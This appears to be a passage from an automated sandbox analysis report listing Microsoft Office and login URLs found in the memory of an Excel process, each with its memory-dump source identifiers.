    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingL
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmpString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt.jpgoftoOG
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArtOfficeOnlineContentF
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrMBI_SSL_SHORTssl.
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveMBI_SSL_SHORTssl.
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmediaMBI_SSL_SHORTofficeapps.
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://lifecycle.office.com
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://lifecycle.office.comP
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://lifecycle.office.comi
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000002.693791687.000000000FE20000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437399577.000000000FE4E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421467641.000000000FE4E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499558135.000000000FE4C000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.microsoftonline.com/:
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpString found in binary or memory: https://login.wind
    Source: EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmpString found in binary or memory: https://login.windows-ppe.net/common/oauth2/aut
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorizem
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorizen
    Source: EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594194079.0000000013870000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://login.windows.local
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.localtes
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeI
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize&
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize(j
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize0
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize1
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize3
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize4
